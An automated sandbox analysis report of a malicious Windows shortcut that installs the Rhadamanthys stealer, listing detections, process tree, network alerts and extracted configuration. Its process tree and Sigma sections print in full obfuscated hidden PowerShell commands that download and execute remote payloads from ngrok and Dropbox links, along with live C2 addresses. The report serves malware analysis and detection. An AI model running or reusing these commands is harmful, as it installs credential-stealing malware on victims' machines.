Edit tour

Windows Analysis Report
CNUXJvLcgw.lnk

Overview

General Information

Sample name:	CNUXJvLcgw.lnk renamed because original name is a hash value
Original sample name:	cafffe9031f22c7bc030a5d9876112308f4aad44d4547f1801db261fcbb4c404.lnk
Analysis ID:	1578256
MD5:	e461bcf2c24690059f65197769c5e4b6
SHA1:	c475fb6243d45594dde23c46e3c2ddef0a24d358
SHA256:	cafffe9031f22c7bc030a5d9876112308f4aad44d4547f1801db261fcbb4c404
Tags:	Compilazioneprotetticopyrightlnkuser-JAMESWT_MHT
Infos:

Detection

RHADAMANTHYS

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected unpacking (creates a PE file in dynamic memory)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Windows shortcut file (LNK) starts blacklisted processes

Yara detected RHADAMANTHYS Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops large PE files

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

Machine Learning detection for sample

PowerShell case anomaly found

Powershell drops PE file

Sigma detected: Powerup Write Hijack DLL

Suspicious powershell command line found

Switches to a custom stack to bypass stack traces

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Windows shortcut file (LNK) contains suspicious command line arguments

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

JA3 SSL client fingerprint seen in connection with other malware

Launches processes in debugging mode, may be used to hinder debugging

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

Queries disk information (often used to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Keylogger Generic

Classification

Process Tree

System is w10x64

cmd.exe (PID: 7456 cmdline: "C:\Windows\System32\cmd.exe" /c pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa7765 curl ; sal av91c3 iEx ; av91c3(aa7765 -Uri https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/api/secure/7430a49b4ec2f1c77488485c5e23d0dd -UseBasicParsing) MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7464 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7560 cmdline: pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa7765 curl ; sal av91c3 iEx ; av91c3(aa7765 -Uri https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/api/secure/7430a49b4ec2f1c77488485c5e23d0dd -UseBasicParsing) MD5: 04029E121A0CFA5991749937DD22A1D9)

msedge.exe (PID: 7932 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 1352 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2144 --field-trial-handle=2076,i,7661811918937782434,10083933319932265787,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 8844 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user~1\AppData\Local\Temp\1887874022.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 9024 cmdline: powershell -wIndoWStYLe hiDdeN -NoProfile -Command "$RandomPDF = Join-Path -Path $env:TEMP -ChildPath ('{0}.pdf' -f ([guid]::NewGuid())); $RandomEXE = Join-Path -Path $env:TEMP -ChildPath ('{0}.exe' -f ([guid]::NewGuid())); Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1' -OutFile $RandomPDF; Start-Process -FilePath 'msedge.exe' -ArgumentList '--kiosk', $RandomPDF; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/uv9rtex94bi18x6hfwnvm/runner.exe?rlkey=ohh5enlv6dylr9jqxqwsffkja&dl=1' -OutFile $RandomEXE; Start-Process -FilePath $RandomEXE; if (Test-Path $RandomEXE) { Invoke-WebRequest -Uri 'https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/metadata/7430a49b4ec2f1c77488485c5e23d0dd'; }" MD5: 04029E121A0CFA5991749937DD22A1D9)

msedge.exe (PID: 7472 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk C:\Users\user~1\AppData\Local\Temp\53cf54c9-bd5a-44a9-afff-e5edd73e8d3d.pdf MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 6372 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2024 --field-trial-handle=1720,i,11746275802938358263,16647309410508739553,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe (PID: 5696 cmdline: "C:\Users\user~1\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe" MD5: F7A506F00E525E6D23AEE43D34219625)

ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe (PID: 7936 cmdline: "C:\Users\user~1\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe" MD5: F7A506F00E525E6D23AEE43D34219625)

fontdrvhost.exe (PID: 8172 cmdline: "C:\Windows\System32\fontdrvhost.exe" MD5: 8D0DA0C5DCF1A14F9D65F5C0BEA53F3D)

fontdrvhost.exe (PID: 6372 cmdline: "C:\Windows\System32\fontdrvhost.exe" MD5: BBCB897697B3442657C7D6E3EDDBD25F)

WerFault.exe (PID: 7612 cmdline: C:\Windows\system32\WerFault.exe -u -p 6372 -s 144 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

WerFault.exe (PID: 7912 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7936 -s 436 MD5: C31336C1EFC2CCB44B4326EA793040F2)

svchost.exe (PID: 8072 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

msedge.exe (PID: 1196 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7468 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2756 --field-trial-handle=2192,i,460297362565314636,2208380792323289799,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8588 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=3584 --field-trial-handle=2192,i,460297362565314636,2208380792323289799,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8612 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6612 --field-trial-handle=2192,i,460297362565314636,2208380792323289799,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8180 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=ppapi --lang=en-GB --device-scale-factor=1 --ppapi-antialiased-text-enabled=1 --ppapi-subpixel-rendering-setting=1 --mojo-platform-channel-handle=7692 --field-trial-handle=2192,i,460297362565314636,2208380792323289799,262144 /prefetch:6 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8268 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6612 --field-trial-handle=2192,i,460297362565314636,2208380792323289799,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Rhadamanthys	According to PCrisk, Rhadamanthys is a stealer-type malware, and as its name implies - it is designed to extract data from infected machines.At the time of writing, this malware is spread through malicious websites mirroring those of genuine software such as AnyDesk, Zoom, Notepad++, and others. Rhadamanthys is downloaded alongside the real program, thus diminishing immediate user suspicion. These sites were promoted through Google ads, which superseded the legitimate search results on the Google search engine.	Sandworm	https://0xmrmagnezi.github.io/malware%20analysis/Rhadamanthys/ https://blog.cyble.com/2023/01/12/rhadamanthys-new-stealer-spreading-through-google-ads/ https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023 https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.talosintelligence.com/highlighting-ta866-asylum-ambuscade/	https://malpedia.caad.fkie.fraunhofer.de/details/win.rhadamanthys

Malware Configuration

Threatname: Rhadamanthys

{"C2 url": "https://104.161.43.18:2845/7e56fc199c7194d0/g5rgxmg9.bkfop"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
0000001D.00000003.1857686930.0000000004EF0000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0000001E.00000003.1864884400.0000000005430000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0000001D.00000003.1854399183.0000000002990000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000001E.00000002.1955063802.00000000031B0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000001E.00000003.1864532293.0000000005210000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0000001E.00000003.1859127404.0000000000ED0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000001D.00000003.1857899388.0000000005110000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0000001D.00000002.1865951249.0000000002B10000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
Process Memory Space: ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe PID: 7936	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: fontdrvhost.exe PID: 8172	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Click to see the 5 entries

Unpacked PEs

Source	Rule	Description	Author
29.3.ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe.4ef0000.0.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
29.3.ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe.4ef0000.6.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
29.3.ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe.4ef0000.6.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
30.3.fontdrvhost.exe.5210000.6.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
30.3.fontdrvhost.exe.5430000.7.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
29.3.ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe.5110000.7.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
30.3.fontdrvhost.exe.5430000.7.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Click to see the 2 entries

Sigma Signatures

System Summary

Sigma detected: Powerup Write Hijack DLL

Source: File created

Author: Subhash Popuri (@pbssubhash): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7560, TargetFilename: C:\Users\user\AppData\Local\Temp\1887874022.bat

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\Documents\ThaiPerfecto\sdk\PerfectoUna.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, ProcessId: 5696, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Nuinsa

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7560, TargetFilename: C:\Users\user\AppData\Local\Temp\1887874022.bat

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell -wIndoWStYLe hiDdeN -NoProfile -Command "$RandomPDF = Join-Path -Path $env:TEMP -ChildPath ('{0}.pdf' -f ([guid]::NewGuid())); $RandomEXE = Join-Path -Path $env:TEMP -ChildPath ('{0}.exe' -f ([guid]::NewGuid())); Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1' -OutFile $RandomPDF; Start-Process -FilePath 'msedge.exe' -ArgumentList '--kiosk', $RandomPDF; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/uv9rtex94bi18x6hfwnvm/runner.exe?rlkey=ohh5enlv6dylr9jqxqwsffkja&dl=1' -OutFile $RandomEXE; Start-Process -FilePath $RandomEXE; if (Test-Path $RandomEXE) { Invoke-WebRequest -Uri 'https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/metadata/7430a49b4ec2f1c77488485c5e23d0dd'; }", CommandLine: powershell -wIndoWStYLe hiDdeN -NoProfile -Command "$RandomPDF = Join-Path -Path $env:TEMP -ChildPath ('{0}.pdf' -f ([guid]::NewGuid())); $RandomEXE = Join-Path -Path $env:TEMP -ChildPath ('{0}.exe' -f ([guid]::NewGuid())); Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1' -OutFile $RandomPDF; Start-Process -FilePath 'msedge.exe' -ArgumentList '--kiosk', $RandomPDF; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/uv9rtex94bi18x6hfwnvm/runner.exe?rlkey=ohh5enlv6dylr9jqxqwsffkja&dl=1' -OutFile $RandomEXE; Start-Process -FilePath $RandomEXE; if (Test-Path $RandomEXE) { Invoke-WebRequest -Uri 'https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/metadata/7430a49b4ec2f1c77488485c5e23d0dd'; }", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user~1\AppData\Local\Temp\1887874022.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8844, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -wIndoWStYLe hiDdeN -NoProfile -Command "$RandomPDF = Join-Path -Path $env:TEMP -ChildPath ('{0}.pdf' -f ([guid]::NewGuid())); $RandomEXE = Join-Path -Path $env:TEMP -ChildPath ('{0}.exe' -f ([guid]::NewGuid())); Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1' -OutFile $RandomPDF; Start-Process -FilePath 'msedge.exe' -ArgumentList '--kiosk', $RandomPDF; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/uv9rtex94bi18x6hfwnvm/runner.exe?rlkey=ohh5enlv6dylr9jqxqwsffkja&dl=1' -OutFile $RandomEXE; Start-Process -FilePath $RandomEXE; if (Test-Path $RandomEXE) { Invoke-WebRequest -Uri 'https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/metadata/7430a49b4ec2f1c77488485c5e23d0dd'; }", ProcessId: 9024, ProcessName: powershell.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa7765 curl ; sal av91c3 iEx ; av91c3(aa7765 -Uri https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/api/secure/7430a49b4ec2f1c77488485c5e23d0dd -UseBasicParsing), CommandLine: pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa7765 curl ; sal av91c3 iEx ; av91c3(aa7765 -Uri https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/api/secure/7430a49b4ec2f1c77488485c5e23d0dd -UseBasicParsing), CommandLine|base64offset|contains: F,, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa7765 curl ; sal av91c3 iEx ; av91c3(aa7765 -Uri https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/api/secure/7430a49b4ec2f1c77488485c5e23d0dd -UseBasicParsing), ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7456, ParentProcessName: cmd.exe, ProcessCommandLine: pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa7765 curl ; sal av91c3 iEx ; av91c3(aa7765 -Uri https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/api/secure/7430a49b4ec2f1c77488485c5e23d0dd -UseBasicParsing), ProcessId: 7560, ProcessName: powershell.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa7765 curl ; sal av91c3 iEx ; av91c3(aa7765 -Uri https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/api/secure/7430a49b4ec2f1c77488485c5e23d0dd -UseBasicParsing), CommandLine: "C:\Windows\System32\cmd.exe" /c pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa7765 curl ; sal av91c3 iEx ; av91c3(aa7765 -Uri https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/api/secure/7430a49b4ec2f1c77488485c5e23d0dd -UseBasicParsing), CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa7765 curl ; sal av91c3 iEx ; av91c3(aa7765 -Uri https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/api/secure/7430a49b4ec2f1c77488485c5e23d0dd -UseBasicParsing), ProcessId: 7456, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: C:\Windows\system32\cmd.exe /c ""C:\Users\user~1\AppData\Local\Temp\1887874022.bat" ", CommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user~1\AppData\Local\Temp\1887874022.bat" ", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa7765 curl ; sal av91c3 iEx ; av91c3(aa7765 -Uri https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/api/secure/7430a49b4ec2f1c77488485c5e23d0dd -UseBasicParsing), ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7560, ParentProcessName: powershell.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user~1\AppData\Local\Temp\1887874022.bat" ", ProcessId: 8844, ProcessName: cmd.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa7765 curl ; sal av91c3 iEx ; av91c3(aa7765 -Uri https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/api/secure/7430a49b4ec2f1c77488485c5e23d0dd -UseBasicParsing), CommandLine: pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa7765 curl ; sal av91c3 iEx ; av91c3(aa7765 -Uri https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/api/secure/7430a49b4ec2f1c77488485c5e23d0dd -UseBasicParsing), CommandLine|base64offset|contains: F,, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa7765 curl ; sal av91c3 iEx ; av91c3(aa7765 -Uri https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/api/secure/7430a49b4ec2f1c77488485c5e23d0dd -UseBasicParsing), ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7456, ParentProcessName: cmd.exe, ProcessCommandLine: pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa7765 curl ; sal av91c3 iEx ; av91c3(aa7765 -Uri https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/api/secure/7430a49b4ec2f1c77488485c5e23d0dd -UseBasicParsing), ProcessId: 7560, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8072, ProcessName: svchost.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T13:44:30.840219+0100	2803274	2	Potentially Bad Traffic	192.168.2.7	49730	162.125.69.18	443	TCP
2024-12-19T13:44:44.253025+0100	2803274	2	Potentially Bad Traffic	192.168.2.7	49828	162.125.69.18	443	TCP

ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T13:45:14.786368+0100	2854802	1	Domain Observed Used for C2 Detected	104.161.43.18	2845	192.168.2.7	49943	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0000001C.00000002.1895224604.00000000005E8000.00000040.00000001.01000000.00000010.sdmp

Malware Configuration Extractor: Rhadamanthys {"C2 url": "https://104.161.43.18:2845/7e56fc199c7194d0/g5rgxmg9.bkfop"}

Multi AV Scanner detection for submitted file

Source: CNUXJvLcgw.lnk	ReversingLabs: Detection: 23%
Source: CNUXJvLcgw.lnk	Virustotal: Detection: 40%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: CNUXJvLcgw.lnk

Joe Sandbox ML: detected

Compliance

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe

Unpacked PE file: 28.2.ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe.2890000.3.unpack

Source: unknown	HTTPS traffic detected: 3.125.102.39:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.69.18:443 -> 192.168.2.7:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.69.15:443 -> 192.168.2.7:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.69.15:443 -> 192.168.2.7:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.69.18:443 -> 192.168.2.7:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.69.15:443 -> 192.168.2.7:49844 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.125.102.39:443 -> 192.168.2.7:49870 version: TLS 1.2

Source:	Binary string: D:\Jenkins\workspace\ccd-app\main\native\win32\build\msvs_win32_x86\Release\x86\sym\AdobeUpdateService\AdobeUpdateService\AdobeUpdateService.pdb source: ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000002.1896380216.0000000004420000.00000004.00001000.00020000.00000000.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000000.1673971806.000000000049E000.00000002.00000001.01000000.00000010.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000002.1894777613.000000000049E000.00000002.00000001.01000000.00000010.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000002.1864490602.000000000049E000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdbHbPf source: powershell.exe, 00000016.00000002.1785132687.0000024CAA30B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 00000016.00000002.1784266322.0000024CAA297000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb source: powershell.exe, 00000016.00000002.1785789300.0000024CAA383000.00000004.00000020.00020000.00000000.sdmp
